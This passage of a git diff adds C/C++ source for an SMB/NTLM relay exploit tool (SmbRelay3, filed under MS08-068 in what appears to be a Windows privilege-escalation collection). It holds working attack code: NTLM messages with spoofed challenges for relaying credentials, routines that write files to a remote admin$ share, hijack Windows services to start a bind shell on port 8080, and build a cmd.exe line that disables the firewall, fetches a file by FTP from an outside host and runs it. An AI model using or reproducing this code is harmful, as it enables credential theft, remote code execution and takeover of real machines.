memcpy(ntRespData,ChallengeHash(OptionalNtlmPacket3,lmResponse),sizeof(ntRespData)); + } else { + memcpy(ntRespData,ChallengeHash(OptionalNtlmPacket3,ntResponse),sizeof(ntRespData)); + //memcpy(ntRespData,(char*)OptionalNtlmPacket3 + OptionalNtlmPacket3->ntResponse.offset,sizeof(ntRespData) );// + } + } + + + + response->bufIndex = 0; + memcpy((char*)response->ident,"NTLMSSP\0\0\0",8); + SIVAL(&response->msgType,0,3); + AddBytes(response,lmResponse,lmRespData,24); + AddBytes(response,ntResponse,ntRespData,24); + AddUnicodeString(response,uDomain,domain); + AddUnicodeString(response,uUser,u); + AddUnicodeString(response,uWks,w); + AddString(response,sessionKey,NULL); + if (flags != 0) challenge->flags = flags; /* Overide flags! */ + else response->flags =0x0000b207; + if(d) free(d); + if(u) free(u); + + } + + + +// info functions +/* +void dumpAuthRequest(FILE *fp, tSmbNtlmAuthRequest *request); +void dumpAuthChallenge(FILE *fp, tSmbNtlmAuthChallenge *challenge); +void dumpAuthResponse(FILE *fp, tSmbNtlmAuthResponse *response); +*/ + +void dumpAuthRequest(FILE *fp, tSmbNtlmAuthRequest *request) + { + printf("NTLM Request:\n"); + printf(" Ident = %s\n",request->ident); + printf(" mType = %d\n",IVAL(&request->msgType,0)); + if (request->msgType!=0x01) { + printf("[-] NTLM PACKET ERROR. Message Type unexpected\n"); + return; + } + printf(" Flags = %08x\n",IVAL(&request->flags,0)); + printf(" Host = %s\n",GetString(request,host)); + printf(" Domain = %s\n",GetString(request,domain)); + } + +void Widetochar(char *destination, char *source, int len) +{ + int i; + for(i=0;ichallengeData,(char*)SpoofedChallenge,sizeof(challenge->challengeData)); +} + +/* +int NtlmChallengeSize(tSmbNtlmAuthChallenge *Challenge){ + return( sizeof(tSmbNtlmAuthChallenge) - sizeof(Challenge->buffer) +Challenge->uDomain.maxlen + Challenge->emptyString.maxlen); +} +*/ +void BuildAuthChallenge(tSmbNtlmAuthChallenge *pChallenge, char *DomainName, char *ServerName, char *DNS, char *FQDN, uint8 flags, uint8 *SpoofedChallenge) +{ + + char *AltDomainName="SMBRELAY3"; + tSmbStrItem Item; + + memcpy(pChallenge->ident,"NTLMSSP\0\0\0",8); + pChallenge->msgType=2; + if (flags){ + pChallenge->flags=flags; + } else { + pChallenge->flags=0xb207; + } + + if (SpoofedChallenge) memcpy((char*)&pChallenge->challengeData, (char*)&SpoofedChallenge,8); + else memcpy((char*)&pChallenge->challengeData, "\x11\x22\x33\x44\x55\x66\x77\x88",8); + + if (DomainName) AltDomainName=DomainName; + + memset(pChallenge->reserved,'\0',sizeof(pChallenge->reserved)); + pChallenge->uDomain.len=strlen(AltDomainName)*2; + pChallenge->uDomain.maxlen=strlen(AltDomainName)*2; + pChallenge->uDomain.offset=(uint8) ((char*)&pChallenge->buffer[0] - (char*)&pChallenge); + chartoWide((char*)&pChallenge->buffer, AltDomainName,strlen(AltDomainName)); + + pChallenge->emptyString.offset= pChallenge->uDomain.offset + pChallenge->uDomain.maxlen; + pChallenge->emptyString.len=0; + pChallenge->emptyString.maxlen=0; + + + if (DomainName) { + Item.ItemType=DOMAINNAMEITEM; + Item.ItemLength=strlen(DomainName)*2; + chartoWide((char*)&Item.buffer, DomainName,strlen(DomainName)); + memcpy((char*)&pChallenge->buffer+pChallenge->uDomain.maxlen+pChallenge->emptyString.len,(void*)&Item,4+Item.ItemLength); + pChallenge->emptyString.len+=Item.ItemLength + 4; + pChallenge->emptyString.maxlen+=Item.ItemLength + 4; + } + + if (DNS) { + Item.ItemType=DNSITEM; + Item.ItemLength=strlen(DNS)*2; + chartoWide((char*)&Item.buffer, DNS,strlen(DNS)); + memcpy((char*)&pChallenge->buffer+pChallenge->uDomain.maxlen+pChallenge->emptyString.len,(void*)&Item,4+Item.ItemLength); + pChallenge->emptyString.len+=Item.ItemLength + 4; + pChallenge->emptyString.maxlen+=Item.ItemLength + 4; + } + + if (ServerName) { + Item.ItemType=SERVERNAMEITEM; + Item.ItemLength=strlen(ServerName)*2; + chartoWide((char*)&Item.buffer, ServerName,strlen(ServerName)); + memcpy((char*)&pChallenge->buffer+pChallenge->uDomain.maxlen+pChallenge->emptyString.len,(void*)&Item,4+Item.ItemLength); + pChallenge->emptyString.len+=Item.ItemLength + 4; + pChallenge->emptyString.maxlen+=Item.ItemLength + 4; + } + + if (FQDN) { + Item.ItemType=FQDNITEM; + Item.ItemLength=strlen(FQDN)*2; + chartoWide((char*)&Item.buffer, FQDN,strlen(FQDN)); + memcpy((char*)&pChallenge->buffer+pChallenge->uDomain.maxlen+pChallenge->emptyString.len,(void*)&Item,4+Item.ItemLength); + pChallenge->emptyString.len+=Item.ItemLength + 4; + pChallenge->emptyString.maxlen+=Item.ItemLength + 4; + } + //NULL LIST TERMINATOR + pChallenge->emptyString.len+=4; + pChallenge->emptyString.maxlen+=4; + memset((char*)&pChallenge->buffer+pChallenge->uDomain.maxlen+pChallenge->emptyString.maxlen,'\0',4); + +} + + + +void dumpAuthChallenge(FILE *fp, tSmbNtlmAuthChallenge *challenge) +{ + + WORD securityBuffer; + WORD securityBufferOffsetToData; + char* ServerName=""; + char* DomainName=""; + char* DnsName=""; + char* FQDNName=""; + + WORD domainnamelen; + + WORD tipo; + WORD len; + char *offset; + + char *buf=(char*)challenge; + printf("NTLM Challenge:\n\n"); + printf(" Ident = %s\n",challenge->ident); + printf(" mType = %d\n",IVAL(&challenge->msgType,0)); +if (challenge->msgType!=0x02) { + printf("[-] NTLM PACKET ERROR. Message Type unexpected\n"); + return; + } + printf(" Domain = %s\n",GetUnicodeString(challenge,uDomain)); + printf(" Flags = %08x\n",IVAL(&challenge->flags,0)); + printf(" Challenge = "); dumpRaw(fp, challenge->challengeData,8); + + memcpy((char*)&securityBuffer,buf+12,2); + printf(" SecBuffer = %i\n",securityBuffer); + memcpy((char*)&securityBufferOffsetToData,buf+(12+4),2); + printf(" SBOffset = %i\n",securityBufferOffsetToData); //securityBufferOffsetToData + memcpy((char*)&domainnamelen,buf+(12),2); + printf(" DomainLen = %i\n",domainnamelen); + + + ServerName=(char*)malloc(domainnamelen/2+1); + Widetochar(ServerName,buf+(securityBufferOffsetToData),domainnamelen); + + //HACK - TODO: change it with better code :) + offset=(char*)buf+(securityBufferOffsetToData+domainnamelen); + free(ServerName); + + do + { + tipo=0; + memcpy((char*)&tipo,offset,2); + memcpy((char*)&len,offset+2,2); + switch (tipo) + { + case 0x01: + ServerName=(char*)malloc(len/2+1); + Widetochar(ServerName,offset+4,len); + printf(" ServerName = %s\n",ServerName); + free(ServerName); + break; + case 0x02: + DomainName=(char*)malloc(len/2+1); + Widetochar(DomainName,offset+4,len); + printf(" DomainName = %s\n",DomainName); + free(DomainName); + break; + case 0x03: + FQDNName=(char*)malloc(len/2+1); + Widetochar(FQDNName,offset+4,len); + printf(" FQDNName = %s\n",FQDNName); + free(FQDNName); + break; + case 0x04: + DnsName=(char*)malloc(len/2+1); + Widetochar(DnsName,offset+4,len); + printf(" DnsName = %s\n",DnsName); + free(DnsName); + break; + } + offset+=2+2+len; + + } while (tipo!=0); +} + +void dumpAuthResponse(FILE *fp, tSmbNtlmAuthResponse *response) + { + printf("NTLM Response:\n"); + printf(" Ident = %s\n",response->ident); + printf(" mType = %d\n",IVAL(&response->msgType,0)); +if (response->msgType!=0x03) { + printf("[-] NTLM PACKET ERROR. Message Type unexpected\n"); + return; + } + + printf(" LmResp = "); DumpBuffer(fp,response,lmResponse); + if (response->ntResponse.len== 24) { + printf(" NTResp = "); DumpBuffer(fp,response,ntResponse); + } else { + //THIS is for debug only and may segfault +#ifdef _DBG_ + printf(" NTLMv2 HMAC = "); dumpRaw(fp, ((NtlmV2Packet*)response+response->ntResponse.offset)->HMAC,16); + printf(" NTLMv2 Header = 0x%8.8x\n",((NtlmV2Packet*)response+response->ntResponse.offset)->Header ); + printf(" NTLMv2 Challenge = "); dumpRaw(fp, ((NtlmV2Packet*)response+response->ntResponse.offset)->ClientChallenge,8); + printf(" NTLMv2 Time = "); dumpRaw(fp, ((NtlmV2Packet*)response+response->ntResponse.offset)->Filetime,8); +#endif + } + printf(" Domain = %s\n",GetUnicodeString(response,uDomain)); + printf(" User = %s\n",GetUnicodeString(response,uUser)); + printf(" Wks = %s\n",GetUnicodeString(response,uWks)); + printf(" sKey = "); DumpBuffer(fp, response,sessionKey); + printf(" Flags = %08x\n",IVAL(&response->flags,0)); + } + + + +void GetNTLMPacketInfo(tSmbNtlmAuthResponse* NtlmAuthResponse, char* UserName, char *DomainName, char *WorkstationName, int verbose) +{ + if (NtlmAuthResponse->msgType==3) { + Widetochar(UserName,(char*)NtlmAuthResponse+NtlmAuthResponse->uUser.offset,NtlmAuthResponse->uUser.len); + Widetochar(DomainName,(char*)NtlmAuthResponse+NtlmAuthResponse->uDomain.offset,NtlmAuthResponse->uDomain.len); + Widetochar(WorkstationName,(char*)NtlmAuthResponse+NtlmAuthResponse->uWks.offset,NtlmAuthResponse->uWks.len); + } else return; + if (verbose) { + printf("Username:\t %s\n",UserName); + printf("DomainName:\t %s\n",DomainName); + printf("WorkstationName: %s\n",WorkstationName); + } + +} + + +/* + * base64.c -- base-64 conversion routines. + * + * For license terms, see the file COPYING in this directory. + * + * This base 64 encoding is defined in RFC2045 section 6.8, + * "Base64 Content-Transfer-Encoding", but lines must not be broken in the + * scheme used here. + */ + +/* + * This code borrowed from fetchmail sources + */ + + +static const char base64digits[] = + "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; + +#define BAD -1 +static const char base64val[] = { + BAD,BAD,BAD,BAD, BAD,BAD,BAD,BAD, BAD,BAD,BAD,BAD, BAD,BAD,BAD,BAD, + BAD,BAD,BAD,BAD, BAD,BAD,BAD,BAD, BAD,BAD,BAD,BAD, BAD,BAD,BAD,BAD, + BAD,BAD,BAD,BAD, BAD,BAD,BAD,BAD, BAD,BAD,BAD, 62, BAD,BAD,BAD, 63, + 52, 53, 54, 55, 56, 57, 58, 59, 60, 61,BAD,BAD, BAD,BAD,BAD,BAD, + BAD, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, + 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25,BAD, BAD,BAD,BAD,BAD, + BAD, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, + 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51,BAD, BAD,BAD,BAD,BAD +}; +#define DECODE64(c) (isascii(c) ? base64val[c] : BAD) + +void to64frombits(unsigned char *out, const unsigned char *in, int inlen) +/* raw bytes in quasi-big-endian order to base 64 string (NUL-terminated) */ +{ + for (; inlen >= 3; inlen -= 3) + { + *out++ = base64digits[in[0] >> 2]; + *out++ = base64digits[((in[0] << 4) & 0x30) | (in[1] >> 4)]; + *out++ = base64digits[((in[1] << 2) & 0x3c) | (in[2] >> 6)]; + *out++ = base64digits[in[2] & 0x3f]; + in += 3; + } + if (inlen > 0) + { + unsigned char fragment; + + *out++ = base64digits[in[0] >> 2]; + fragment = (in[0] << 4) & 0x30; + if (inlen > 1) + fragment |= in[1] >> 4; + *out++ = base64digits[fragment]; + *out++ = (inlen < 2) ? '=' : base64digits[(in[1] << 2) & 0x3c]; + *out++ = '='; + } + *out = '\0'; +} + +int from64tobits(char *out, const char *in) +/* base 64 to raw bytes in quasi-big-endian order, returning count of bytes */ +{ + int len = 0; + register unsigned char digit1, digit2, digit3, digit4; + + if (in[0] == '+' && in[1] == ' ') + in += 2; + if (*in == '\r') + return(0); + + do { + digit1 = in[0]; + if (DECODE64(digit1) == BAD) + return(-1); + digit2 = in[1]; + if (DECODE64(digit2) == BAD) + return(-1); + digit3 = in[2]; + if (digit3 != '=' && DECODE64(digit3) == BAD) + return(-1); + digit4 = in[3]; + if (digit4 != '=' && DECODE64(digit4) == BAD) + return(-1); + in += 4; + *out++ = (DECODE64(digit1) << 2) | (DECODE64(digit2) >> 4); + ++len; + if (digit3 != '=') + { + *out++ = ((DECODE64(digit2) << 4) & 0xf0) | (DECODE64(digit3) >> 2); + ++len; + if (digit4 != '=') + { + *out++ = ((DECODE64(digit3) << 6) & 0xc0) | DECODE64(digit4); + ++len; + } + } + } while + (*in && *in != '\r' && digit4 != '='); + + return (len); +} + +/* base64.c ends here */ + + diff --git a/97-Windows提权/MS08-068/src/ntlm.h b/97-Windows提权/MS08-068/src/ntlm.h new file mode 100644 index 0000000..99348fb --- /dev/null +++ b/97-Windows提权/MS08-068/src/ntlm.h @@ -0,0 +1,223 @@ +#ifndef _NTLMER_H_ +#define _NTLMER_H_ +/* $Id$ + Single file NTLM system to create and parse authentication messages. + + http://www.reversing.org + ilo-- ilo@reversing.org + + I did copy&paste&modify several files to leave independent NTLM code + that compile in cygwin/linux environment. Most of the code was ripped + from Samba implementation so I left the Copying statement. Samba core + code was left unmodified from 1.9 version. + + Also libntlm was ripped but rewrote, due to fixed and useless interface. + Copyright and licensing information is in ntlm.c file. + + NTLM Interface, just two functions: + + void BuildAuthRequest(tSmbNtlmAuthRequest *request, long flags, char *host, char *domain); + if flags is 0 minimun security level is selected, otherwise new value superseeds. + host and domain are optional, they may be NULLed. + + void buildAuthResponse(tSmbNtlmAuthChallenge *challenge, tSmbNtlmAuthResponse *response, long flags, char *user, char *password, char *domain, char *host); + Given a challenge, generates a response for that user/passwd/host/domain. + flags, host, and domain superseeds given by server. Leave 0 and NULL for server authentication + + + This is an usage sample: + + + ... + //beware of fixed sized buffer, asserts may fail, don't use long strings :) + //Yes, I Know, year 2k6 and still with this shit.. + unsigned char buf[4096]; + unsigned char buf2[4096]; + + //send auth request: let the server send it's own hostname and domainname + buildAuthRequest((tSmbNtlmAuthRequest*)buf2,0,NULL,NULL); + to64frombits(buf, buf2, SmbLength((tSmbNtlmAuthResponse*)buf2)); + send_to_server(buf); + + //receive challenge + receive_from_server(buf); + + //build response with hostname and domainname from server + buildAuthResponse((tSmbNtlmAuthChallenge*)buf,(tSmbNtlmAuthResponse*)buf2,0,"username","password",NULL,NULL); + to64frombits(buf, buf2, SmbLength((tSmbNtlmAuthResponse*)buf2)); + send_to_server(buf); + + //get reply and Check if ok + ... + + + included bonus!!: + Base64 code + int from64tobits(char *out, const char *in); + void to64frombits(unsigned char *out, const unsigned char *in, int inlen); + + + + + You don't need to read the rest of the file. +*/ + + +/* + * These structures are byte-order dependant, and should not + * be manipulated except by the use of the routines provided + */ + +#pragma pack(1) +#ifdef WIN32 +#else +#pragma align 1 +#endif + + +#include +#include +#include +#include + +#include + + + +#ifdef WIN32 +#else + #include +#define _strdup strdup +#endif + + +// +typedef unsigned short uint16; +typedef unsigned int uint32; +typedef unsigned long long int uint64; +typedef unsigned char uint8; + + + +#define SERVERNAMEITEM 0x01 +#define DOMAINNAMEITEM 0x02 +#define DNSITEM 0x03 +#define FQDNITEM 0x04 + +typedef struct +{ +uint16 ItemType; +uint16 ItemLength; +uint8 buffer[256]; +}tSmbStrItem; //Challenge (NTLM type 2) + +typedef struct +{ + uint8 HMAC[16]; + uint32 Header; + uint32 Reserved; + uint8 Filetime[8]; + uint8 ClientChallenge[8]; + uint32 Unknown; + tSmbStrItem DomainName; +} NtlmV2Packet; + +typedef struct +{ +uint16 len; +uint16 maxlen; +uint32 offset; +}tSmbStrHeader; + +typedef struct +{ +char ident[8]; +uint32 msgType; +uint32 flags; +tSmbStrHeader host; +tSmbStrHeader domain; +uint8 buffer[1024]; +uint32 bufIndex; +}tSmbNtlmAuthRequest; + +typedef struct +{ +char ident[8]; +uint32 msgType; +tSmbStrHeader uDomain; +uint32 flags; +uint8 challengeData[8]; +uint8 reserved[8]; +tSmbStrHeader emptyString; +uint8 buffer[16384]; +//uint32 bufIndex; +}tSmbNtlmAuthChallenge; + + + +typedef struct +{ +char ident[8]; +uint32 msgType; +tSmbStrHeader lmResponse; +tSmbStrHeader ntResponse; +tSmbStrHeader uDomain; +tSmbStrHeader uUser; +tSmbStrHeader uWks; +tSmbStrHeader sessionKey; +uint32 flags; +uint8 buffer[1024]; +uint32 bufIndex; +}tSmbNtlmAuthResponse; + + +/* reversing interface */ +/* ntlm functions */ +void BuildAuthRequest(tSmbNtlmAuthRequest *request, long flags, char *host, char *domain); +// if flags is 0 minimun security level is selected, otherwise new value superseeds. +// host and domain are optional, they may be NULLed. + +void BuildAuthChallenge(tSmbNtlmAuthChallenge *pChallenge, char *DomainName, char *ServerName, char *DNS, char *FQDN, uint8 flags, uint8 *SpoofedChallenge); +//All parameters are optional. IF DomainName is not set, the default name will be "SMBRELAY3" +//if flags is 0 minimun security level is selected, otherwise new value superseeds. +//if SpoofedChallenge is not set, the default Challenge value is 0x1122334455667788 +//That Challenge value allows bruteforce attacks with winrtgen built LM/ntlm tables + +void buildAuthResponse(tSmbNtlmAuthChallenge *challenge, tSmbNtlmAuthResponse *response, long flags, char *user, char *password, char *domainname, char *host, tSmbNtlmAuthResponse* OptionalNtlmPacket3); +//Given a challenge, generates a response for that user/passwd/host/domain. +//flags, host, and domain superseeds given by server. Leave 0 and NULL for server authentication +//Additional parameter OptionalNtlmPacket3 have been added to support relay attacks by changing challenge data + + + + +//int NtlmChallengeSize(tSmbNtlmAuthChallenge *Challenge); +//#define NtlmChallengeSize( (tSmbNtlmAuthChallenge *)Challenge) ( sizeof(tSmbNtlmAuthChallenge) - sizeof(Challenge->buffer) +Challenge->uDomain.maxlen + Challenge->emptyString.maxlen) +#define NtlmChallengeSize(Challenge) ( sizeof(tSmbNtlmAuthChallenge) - sizeof(Challenge->buffer) +Challenge->uDomain.maxlen + Challenge->emptyString.maxlen) +//#define NtlmAuth + +/*int NtlmChallengeSize(tSmbNtlmAuthChallenge *Challenge){ + return( sizeof(tSmbNtlmAuthChallenge) - sizeof(Challenge->buffer) +Challenge->uDomain.maxlen + Challenge->emptyString.maxlen); +} +*/ + +__inline void SetChallengeKey(tSmbNtlmAuthChallenge *challenge, uint8 *SpoofedChallenge); + +/* Base64 code*/ +int from64tobits(char *out, const char *in); +void to64frombits(unsigned char *out, const unsigned char *in, int inlen); + +// info functions +void dumpAuthRequest(FILE *fp, tSmbNtlmAuthRequest *request); +void dumpAuthChallenge(FILE *fp, tSmbNtlmAuthChallenge *challenge); +void dumpAuthResponse(FILE *fp, tSmbNtlmAuthResponse *response); + +#define SmbLength(ptr) (((ptr)->buffer - (uint8*)(ptr)) + (ptr)->bufIndex) + +void GetNTLMPacketInfo(tSmbNtlmAuthResponse* NtlmAuthResponse, char* UserName, char *DomainName, char *WorkstationName, int verbose); + +void chartoWide(char *destination, char *source, int len); +void Widetochar(char *destination, char *source, int len); + +#endif + diff --git a/97-Windows提权/MS08-068/src/payload.cpp b/97-Windows提权/MS08-068/src/payload.cpp new file mode 100644 index 0000000..434226b --- /dev/null +++ b/97-Windows提权/MS08-068/src/payload.cpp @@ -0,0 +1,254 @@ +#include "payload.h" +#include + +//extern char *filter; +extern int verbose; +int AttackWeakServices(RELAY relay, char *buf,char *path, uint16 FID, char *ServicePath){ + //RAW SMBRELAY FUNCTION + smheader *packet; + uint8 ContextHandle[20]; + uint8 OpenedServiceContextHandle[20]; + char ServiceName[][100] = {"DcomLaunch","Wmi","kdc","upnpHost","SSDPSRV","DHCP","NetBT","DnsCache","Pml Driver HPZ12","Adobe LM Service","Autodesk Licensing Service", "NICCONFIGSVC","Macromedia Licensing Service","vsdatant","C-DillaCdaC11BA","CdaC15BA","SecDrv" }; + int len; + char data[4046]; + int i,j; + + //Trying to connect with lowest permissions... + len=OpenScManagerWStub(data,path,SC_MANAGER_CONNECT) ; + packet=BuildSmbPacket((smheader*)buf,SMB_COM_TRANSACTION,OPENSCMANAGER,(char*)data,len); + ((SMB_COM_TRANSACTION_STRUCT*)packet->buffer)->FID=FID; + printf("[+] Opening Remote Service Control Manager (SC_MANAGER_CONNECT)\n"); + i=SendBytesAndWaitForResponse(relay.destination,(char*)packet, SmbPacketLen(packet),(char*)buf,sizeof(buf),SMBWAITTIMEOUT); + free(packet); + if (( i<=0) || (((smheader*)buf)->NtStatus!=0x00000000) || (GetDceRpcPacketFromBuffer(buf)->PacketType != RPC_RESPONSE) ){ + return(0); + } + memcpy((char*)ContextHandle,buf+i-24,20); + + for (j=0;jbuffer)->FID=FID; + printf("[+] Attacking Remote Service %s\n",ServiceName[j]); + i=SendBytesAndWaitForResponse(relay.destination,(char*)packet, SmbPacketLen(packet),(char*)buf,sizeof(buf),SMBWAITTIMEOUT); + free(packet); + if (( i<=0) || (((smheader*)buf)->NtStatus!=0x00000000) || (GetDceRpcPacketFromBuffer(buf)->PacketType != RPC_RESPONSE) ){ + printf("[-] Error. Unable to Open Remote service \n"); + } else { + memcpy((char*)OpenedServiceContextHandle,buf+i-24,20); + len=ChangeServiceConfigWStub(data,(char*)OpenedServiceContextHandle,ServicePath, SERVICE_AUTO_START,SERVICE_WIN32_SHARE_PROCESS); + packet=BuildSmbPacket((smheader*)buf,SMB_COM_TRANSACTION,CHANGESERVICECONFIG,data,len); + ((SMB_COM_TRANSACTION_STRUCT*)packet->buffer)->FID=FID; + printf("[+] Cambiando configuracin de servicio...\r"); + i=SendBytesAndWaitForResponse(relay.destination,(char*)packet, SmbPacketLen(packet),(char*)buf,sizeof(buf),SMBWAITTIMEOUT); + free(packet); + if (( i<=0) || (((smheader*)buf)->NtStatus!=0x00000000) || (GetDceRpcPacketFromBuffer(buf)->PacketType != RPC_RESPONSE) ){ + printf("[-] Error. Unable to Modify Service...\n"); + } else { + packet=BuildSmbPacket((smheader*)buf,SMB_COM_TRANSACTION,STARTSERVICE,OpenedServiceContextHandle, 20); + ((SMB_COM_TRANSACTION_STRUCT*)packet->buffer)->FID=FID; + send(relay.destination, (char*)packet, SmbPacketLen(packet),0) ; + free(packet); + Sleep(1000); + printf("[+] *** Remote SmbRelay3 BindShell Service Running ***: (%s:%i)\n\n",relay.hostname,8080); + Sleep(3000); + return(1); + } + + } + } + return(0); +} + +int WriteRemoteFile(RELAY relay, smheader *buffer, char *lpFileName) +{ + char path[256]; + char buf[64000]; + smheader *packet; + int i; + int filesize; + char *filedata; + uint16 FID; + uint16 TreeID; + + sprintf(path,"\\\\%s\\admin$",inet_ntoa(relay.destinationaddr.sin_addr)); + memset(buf,0,sizeof(buf)); + i=BuildTreeConnectAndXStub(buf,"",path,"?????"); + packet=BuildSmbPacket((smheader*)buffer,TREECONNETANDX,0,buf,i);//,(int)strlen(path)); + printf("[+] Trying to connect to admin$\r"); + + if (debug) + { + CleanLine(verbose); + DumpMem((char*)packet,SmbPacketLen(packet)); + } + i=SendBytesAndWaitForResponse(relay.destination,(char*)packet, SmbPacketLen(packet),(char*)buf,sizeof(buf),SMBWAITTIMEOUT); + if ((i<=0) || (((smheader*)buf)->NtStatus!=0x00000000) ){ + CleanLine(verbose); + printf("[-] Error. Unable to connect to admin$\n"); + return(0); + } + TreeID=((smheader*)buf)->TreeId; + + + sprintf(path,"\\%s",lpFileName); + filedata =ReadFileToSend(&filesize,lpFileName); + if(!filedata) + { + CleanLine(verbose); + printf("[-] Error. Unable to open %s\n",lpFileName); + return(0); + } + packet=BuildSmbPacket((smheader*)buf,NTCREATEANDX,0,path,filesize); + CleanLine(verbose); + printf("[+] Creating Remote File %s under admin$\r",lpFileName); + if (debug) + { + CleanLine(verbose); + DumpMem((char*)packet,SmbPacketLen(packet)); + } + i=SendBytesAndWaitForResponse(relay.destination,(char*)packet, SmbPacketLen(packet),(char*)buf,sizeof(buf),SMBWAITTIMEOUT); + if ((i<=0) || (((smheader*)buf)->NtStatus!=0x00000000) ){ + CleanLine(verbose); + if ( ((smheader*)buf)->NtStatus == STATUS_SHARING_VIOLATION) { + printf("[-] Remote File already in use (try to connect to the remote Shell).\n"); + return(1); + } + printf("[-] Error. Unable to create file under admin$ (Error 0x%x)\n",((smheader*)buf)->NtStatus); + return(0); + } + memcpy((char*)&FID,((smheader*)buf)->buffer+6,2); + CleanLine(verbose); + printf("[+] Writing File %s into admin$ (%i bytes)\r",lpFileName,filesize); + packet=BuildSmbPacket((smheader*)buf,WRITEANDX,0,filedata,filesize); + free(filedata); + + if (debug) + { + CleanLine(verbose); + DumpMem((char*)packet,SmbPacketLen(packet)); + } + i=SendBytesAndWaitForResponse(relay.destination,(char*)packet, SmbPacketLen(packet),(char*)buf,sizeof(buf),SMBWAITTIMEOUT); + if ((i<=0) || (((smheader*)buf)->NtStatus!=0x00000000) ){ + CleanLine(verbose); + printf("[-] Error. Unable to Write File.\n"); + return(0); + } + + packet=BuildSmbPacket((smheader*)buf,SMBCLOSE,0,&FID,2); + + packet->TreeId=TreeID; + if (verbose) + { + CleanLine(verbose); + printf("[*] Closing File handle - FID: %2.2x\r",FID); + if (debug) DumpMem((char*)packet,SmbPacketLen(packet)); + } + i=SendBytesAndWaitForResponse(relay.destination,(char*)packet, SmbPacketLen(packet),(char*)buf,sizeof(buf),SMBWAITTIMEOUT); + if ((i<=0) || (((smheader*)buf)->NtStatus!=0x00000000) ){ + CleanLine(verbose); + printf("[-] Error Closing File Handle\n"); + return(0); + } + return(1); + +} + + + + +/*********************************************/ +smheader *BuildSmbPacket1(void) +{ + char buf2[4096]; + smheader *SmbPacket1; + memset((char*)buf2,'\0',sizeof(buf2)); + BuildAuthRequest((tSmbNtlmAuthRequest*)buf2,0,NULL,NULL); +#ifdef _DBG_ + DumpMem((char*)buf2,SmbLength((tSmbNtlmAuthRequest*)buf2)); +#endif + SmbPacket1=BuildSmbPacket((smheader*)NULL,SESSIONSETUPANDX,0,buf2,40); + + return(SmbPacket1); +} +/*********************************************/ +smheader *GetSmbPacket2(RELAY *relay,smheader* Packet1) +{ + char *buffer=(char*)malloc(4096); + int i; + i=SendBytesAndWaitForResponse(relay->destination,(char*)Packet1, SmbPacketLen(Packet1), buffer,4096,SMBWAITTIMEOUT); + if (i>0){ + return((smheader*)buffer); + } + return(NULL); +} +/*********************************************/ +smheader *GetSmbPacket3(smheader* SmbPacket2,char *lpUserName, char *lpPassword, char *domainname, char *host, tSmbNtlmAuthResponse* OptionalNtlmPacket3) +{ + char buf2[16384]; + smheader *SmbPacket3; + memset((char*)buf2,'\0',sizeof(buf2)); + buildAuthResponse((tSmbNtlmAuthChallenge*)GetNTLMPacketFromSmbPacket(SmbPacket2),(tSmbNtlmAuthResponse*)buf2,0,lpUserName,lpPassword,domainname,host, OptionalNtlmPacket3); + //DumpMem((void*)buf2,sizeof(tSmbNtlmAuthResponse)); + SmbPacket3=BuildSmbPacket((smheader*)SmbPacket2,SESSIONSETUPANDX,0,buf2,(int)SmbLength((tSmbNtlmAuthResponse *)buf2)); + return(SmbPacket3); +} +/*********************************************/ + + +char *GenerateFTPTransfer(char *buffer,char *host, int port, char *username, char *password, char *downloadfile,char *optionalparameter) +{ + char tmp[256]; + char path[256]; + char fullpath[100]; + int random=0; + + srand(time(0)); + random=rand(); + sprintf(path,"\\%i",random); + srand(random); + random=rand(); + sprintf(fullpath,"%s\\%i",path,random); + + //sprintf(tmp,"cmd.exe /c if EXIST %s\\%s (%s\\%s) ELSE netsh firewall add portopening TCP 8080 Smbrelay ENABLE ALL && ",path,downloadfile,path,downloadfile); + sprintf(tmp,"cmd.exe /c if EXIST %s\\%s (%s\\%s) ELSE netsh firewall set opmode DISABLE DISABLE & ",path,downloadfile,path,downloadfile); + strcpy(buffer,tmp); + + sprintf(tmp,"md %s",path); + strcat(buffer,tmp); + sprintf(tmp,"&& echo o %s %i>%s",host, port,fullpath); + strcat(buffer,tmp); + sprintf(tmp,"&& echo %s>>%s",username,fullpath); + strcat(buffer,tmp); + sprintf(tmp,"&& echo %s>>%s",password,fullpath); + strcat(buffer,tmp); + sprintf(tmp,"&& echo USER %s>>%s",username,fullpath); //try password twice + strcat(buffer,tmp); + sprintf(tmp,"&& echo %s>>%s",password,fullpath); + strcat(buffer,tmp); + sprintf(tmp,"&& echo bin>>%s",fullpath); + strcat(buffer,tmp); + sprintf(tmp,"&& echo lcd %s>>%s",path,fullpath); + strcat(buffer,tmp); + sprintf(tmp,"&& echo bin>>%s",fullpath); + strcat(buffer,tmp); + sprintf(tmp,"&& echo GET %s>>%s",downloadfile,fullpath); + strcat(buffer,tmp); + sprintf(tmp,"&& echo bye>>%s",fullpath); + strcat(buffer,tmp); + sprintf(tmp,"&& ftp -s:%s",fullpath); + strcat(buffer,tmp); + if (optionalparameter) { + sprintf(tmp,"&& %s\\%s %s",path,downloadfile,optionalparameter); + } else { + sprintf(tmp,"&& %s\\%s",path,downloadfile); + } + strcat(buffer,tmp); + + return(buffer); +} + + + diff --git a/97-Windows提权/MS08-068/src/payload.h b/97-Windows提权/MS08-068/src/payload.h new file mode 100644 index 0000000..75a2229 --- /dev/null +++ b/97-Windows提权/MS08-068/src/payload.h @@ -0,0 +1,19 @@ +#ifndef _PAYLOAD_ +#define _PAYLOAD_ +#include "smbrelay.h" +#include "smb.h" +#include "ntlm.h" + +void CleanLine(int verbose); +smheader *BuildSmbPacket1(void); +smheader *GetSmbPacket2(RELAY *relay,smheader* Packet1); +smheader *GetSmbPacket3(smheader* SmbPacket2,char *lpUserName, char *lpPassword, char *domainname, char *host, tSmbNtlmAuthResponse* OptionalNtlmPacket3); +smheader *GetSmbPacket3Alt(smheader* SmbPacket2,char *lpUserName, char *lpPassword, char *domainname, char *host, tSmbNtlmAuthResponse* OptionalNtlmPacket3); + +int WriteRemoteFile(RELAY relay, smheader *buffer, char *lpFileName); +char *GenerateFTPTransfer(char *buffer,char *host, int port, char *username, char *password, char *downloadfile,char *optionalparameter); +int AttackWeakServices(RELAY relay, char *buf,char *path, uint16 FID, char *ServicePath); + + +#endif + diff --git 